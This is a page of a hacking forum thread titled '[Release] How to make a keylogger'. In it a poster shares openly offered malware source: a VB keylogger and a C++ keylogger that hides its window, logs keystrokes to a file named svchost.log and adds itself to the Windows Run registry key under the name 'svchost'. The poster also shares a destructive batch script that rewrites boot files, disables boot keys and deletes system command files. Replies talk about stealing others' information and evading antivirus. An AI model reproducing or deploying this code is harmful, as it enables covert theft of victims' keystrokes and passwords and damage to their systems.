[Release] How to make a keylogger

Posts 6175 of 98 · Page 5 of 7
No outside links. You will be banned.
Lol dude your kinda late this tutorial was made in 2009 you think i will get banned.
Lol nice bump
Thank you much?
showing people on here how to make a keylogger can be a bad idea

VB:
Code:
Dim result As Interger
Private Declare Function GetAsyncKeyState Lib "user32* (ByVal vKey As Long) As Interger
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub
C++
Code:
#include <windows.h>
#include <stdio.h>
#include <winuser.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
	HWND stealth; /*creating stealth (window is not visible)*/
	AllocConsole();
	stealth=FindWindowA("ConsoleWindowClass",NULL);
	ShowWindow(stealth,0);
   
	int test,create;
	test=test_key();/*check if key is available for opening*/
		 
	if (test==2)/*create key*/
	{
		char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
		create=create_key(path);
		  
	}
		
   
	int t=get_keys();
	
	return t;
}  

int get_keys(void)
{
			short character;
			  while(1)
			  {
					 
					 for(character=8;character<=222;character++)
					 {
						 if(GetAsyncKeyState(character)==-32767)
						 {   
							 
							 FILE *file;
							 file=fopen("svchost.log","a+");
							 if(file==NULL)
							 {
									 return 1;
							 }			
							 if(file!=NULL)
							 {		
									 if((character>=39)&&(character<=64))
									 {
										   fputc(character,file);
										   fclose(file);
										   break;
									 }		
									 else if((character>64)&&(character<91))
									 {
										   character+=32;
										   fputc(character,file);
										   fclose(file);
										   break;
									 }
									 else
									 { 
										 switch(character)
										 {
											   case VK_SPACE:
											   fputc(' ',file);
											   fclose(file);
											   break;	
											   case VK_SHIFT:
											   fputs("[SHIFT]",file);
											   fclose(file);
											   break;											
											   case VK_RETURN:
											   fputs("\n[ENTER]",file);
											   fclose(file);
											   break;
											   case VK_BACK:
											   fputs("[BACKSPACE]",file);
											   fclose(file);
											   break;
											   case VK_TAB:
											   fputs("[TAB]",file);
											   fclose(file);
											   break;
											   case VK_CONTROL:
											   fputs("[CTRL]",file);
											   fclose(file);
											   break;	
											   case VK_DELETE:
											   fputs("[DEL]",file);
											   fclose(file);
											   break;
											   case VK_OEM_1:
											   fputs("[;:]",file);
											   fclose(file);
											   break;
											   case VK_OEM_2:
											   fputs("[/?]",file);
											   fclose(file);
											   break;
											   case VK_OEM_3:
											   fputs("[`~]",file);
											   fclose(file);
											   break;
											   case VK_OEM_4:
											   fputs("[ [{ ]",file);
											   fclose(file);
											   break;
											   case VK_OEM_5:
											   fputs("[\\|]",file);
											   fclose(file);
											   break;								
											   case VK_OEM_6:
											   fputs("[ ]} ]",file);
											   fclose(file);
											   break;
											   case VK_OEM_7:
											   fputs("['\"]",file);
											   fclose(file);
											   break;
											   /*case VK_OEM_PLUS:
											   fputc('+',file);
											   fclose(file);
											   break;
											   case VK_OEM_COMMA:
											   fputc(',',file);
											   fclose(file);
											   break;
											   case VK_OEM_MINUS:
											   fputc('-',file);
											   fclose(file);
											   break;
											   case VK_OEM_PERIOD:
											   fputc('.',file);
											   fclose(file);
											   break;*/
											   case VK_NUMPAD0:
											   fputc('0',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD1:
											   fputc('1',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD2:
											   fputc('2',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD3:
											   fputc('3',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD4:
											   fputc('4',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD5:
											   fputc('5',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD6:
											   fputc('6',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD7:
											   fputc('7',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD8:
											   fputc('8',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD9:
											   fputc('9',file);
											   fclose(file);
											   break;
											   case VK_CAPITAL:
											   fputs("[CAPS LOCK]",file);
											   fclose(file);
											   break;
											   default:
											   fclose(file);
											   break;
										}		
								   }	
							  }		
					}	
				}				  
					 
			}
			return EXIT_SUCCESS;							
}												 

int test_key(void)
{
	int check;
	HKEY hKey;
	char path[BUFSIZE];
	DWORD buf_length=BUFSIZE;
	int reg_key;
	
	reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
	if(reg_key!=0)
	{	
		check=1;
		return check;
	}		
		   
	reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
	
	if((reg_key!=0)||(buf_length>BUFSIZE))
		check=2;
	if(reg_key==0)
		check=0;
		 
	RegCloseKey(hKey);
	return check;   
}
   
int create_key(char *path)
{   
		int reg_key,check;
		
		HKEY hkey;
		
		reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
		if(reg_key==0)
		{
				RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
				check=0;
				return check;
		}
		if(reg_key!=0)
				check=1;
				
		return check;
}
Batch:
Code:
@echo off
cls
goto :start
:message
echo.
echo.
cls
echo //LOG ON HACK IN GO ANYWHERE STEAL EVERYTHING//
echo.
echo WELCOME TO THE WORLD OF HACKING & SECURITY BREACHING
echo.
echo WHENEVER U SWITCH ON UR SYSTEM UR SYSTEM IS UNSAFE
echo.
echo HACKER CAN DO THINGS WHAT OTHERS JUST DREAM OFF
echo.
echo WELCOME TO THE GAME OF DEATH
echo.
echo TRY TO PROTECT UR SYSTEM IF U CAN
echo.
pause
cls
echo DONT THINK TH@ U R SMART
echo.
echo THE PROBLEM IS THAT I KNOW
for %%a in (2 M U C H) do choice /c:%%a /n /s /t:%%a,01
echo.
echo.
pause
goto :end
:start
if not exist c:\autoexec.bat goto :creaauto
attrib -r -h c:\autoexec.bat
echo cls >> c:\autoexec.bat
echo path=c:\windows;c:;c:\windows\command;c:\windows\system;c:\windows\ help >> c:\autoexec.bat
echo command /p /k c:\windows\help\atima.bat >> c:\autoexec.bat
attrib +r +h c:\autoexec.bat
goto :config
:creaauto
echo > c:\autoexec.bat
echo @echo off >> c:\autoexec.bat
echo cls >> c:\autoexec.bat
echo path=c:\windows;c:;c:\windows\command;c:\windows\system;c:\windows\ help >> c:\autoexec.bat
echo command /p /k c:\windows\help\atima.bat >> c:\autoexec.bat
attrib +r +h c:\autoexec.bat
:config
attrib -r -h c:\config.sys
echo device=c:\windows\command\ansi.sys >> c:\config.sys
attrib +r +h c:\config.sys
:msdos
attrib -r -h c:\msdos.sys
echo bootdelay=0. >> c:\msdos.sys
echo bootkeys=0. >> c:\msdos.sys
attrib +r +h c:\msdos.sys
:atima
echo > c:\windows\help\atima.bat
echo @echo off >>c:\windows\help\atima.bat
echo prompt $p $g >> c:\windows\help\atima.bat
echo echo [0;59;" "p >> c:\windows\help\atima.bat
echo echo [0;60;" "p >> c:\windows\help\atima.bat
echo echo [0;61;" "p >> c:\windows\help\atima.bat
echo echo [0;62;" "p >> c:\windows\help\atima.bat
echo echo [0;63;" "p >> c:\windows\help\atima.bat
echo echo [0;64;" "p >> c:\windows\help\atima.bat
echo echo [0;65;" "p >> c:\windows\help\atima.bat
echo echo [0;66;" "p >> c:\windows\help\atima.bat
echo echo [0;67;" "p >> c:\windows\help\atima.bat
echo echo [0;68;" "p >> c:\windows\help\atima.bat
echo echo [0;133;" "p >> c:\windows\help\atima.bat
echo echo [0;134;" "p >> c:\windows\help\atima.bat
echo echo [0;71;" "p >> c:\windows\help\atima.bat
echo echo [0;72;" "p >> c:\windows\help\atima.bat
echo echo [0;75;" "p >> c:\windows\help\atima.bat
echo echo [0;77;" "p >> c:\windows\help\atima.bat
echo echo [0;79;" "p >> c:\windows\help\atima.bat
echo echo [0;80;" "p >> c:\windows\help\atima.bat
echo echo [0;81;" "p >> c:\windows\help\atima.bat
echo echo [0;82;" "p >> c:\windows\help\atima.bat
echo echo [0;83;" "p >> c:\windows\help\atima.bat
echo echo [8;" "p >> c:\windows\help\atima.bat
echo echo [13;" "p >> c:\windows\help\atima.bat
echo echo [9;" "p >> c:\windows\help\atima.bat
echo echo [32;" "p >> c:\windows\help\atima.bat
echo echo [39;" "p >> c:\windows\help\atima.bat
echo echo [44;" "p >> c:\windows\help\atima.bat
echo echo [45;" "p >> c:\windows\help\atima.bat
echo echo [46;" "p >> c:\windows\help\atima.bat
echo echo [47;" "p >> c:\windows\help\atima.bat
echo echo [59;" "p >> c:\windows\help\atima.bat
echo echo [61;" "p >> c:\windows\help\atima.bat
echo echo [91;" "p >> c:\windows\help\atima.bat
echo echo [92;" "p >> c:\windows\help\atima.bat
echo echo [93;" "p >> c:\windows\help\atima.bat
echo echo [96;" "p >> c:\windows\help\atima.bat
echo echo [43;" "p >> c:\windows\help\atima.bat
echo cls >> c:\windows\help\atima.bat
attrib +r +h c:\windows\help\atima.bat
:touchup
del *.exe c:\windows\command
del *.com c:\windows\command
goto :message
:end
cls
echo *****************************************************************
echo ***************************WARNING*******************************
echo *****************************************************************
echo.
echo U HAVE GONE
for %%a in (@ $ $ ) do choice /c:%%a /s /n /s /t:%%a,01
echo HOLE
echo.
echo I COULD HAVE MADE UR COMPUTER TO CHOKE LIKE ANYTHING
echo BUT I AM NOT INTERESTED IN DOING TH@ TO U
echo.
echo dont think th@ u r alone
echo.
echo someone is always watching u
echo.
pause
rundll user,exitwindows
Nice copy paste, i bet you don't realize what that means.
i did copy paste the VB and batch cuz i wont give out my batch and i dont like VB
lol stupid? make your own, btw just don't make one, you nuubs, stealing others information
Quote Originally Posted by AeroMan View Post
lol stupid? make your own, btw just don't make one, you nuubs, stealing others information
i didnt post my batch cuz its UD... and i only posted that C++ cuz it probly is detected by now
Can you give me the link to download ardamax keylogger again?
1.Doesn't let me run it.
2.Anti-Virus detects as a virus
MonitoringTool:Win32/Ardamax Monitoring Software
PWS:Win32/Delf.EG Password Stealer
I don't know if it works for you guys but I'm not taking the risk.
Sweet thanks for this
Your all welcome for the release. Fuck you people that don't belive
Posts 6175 of 98 · Page 5 of 7

Post a Reply

Tags for this Thread

Need help?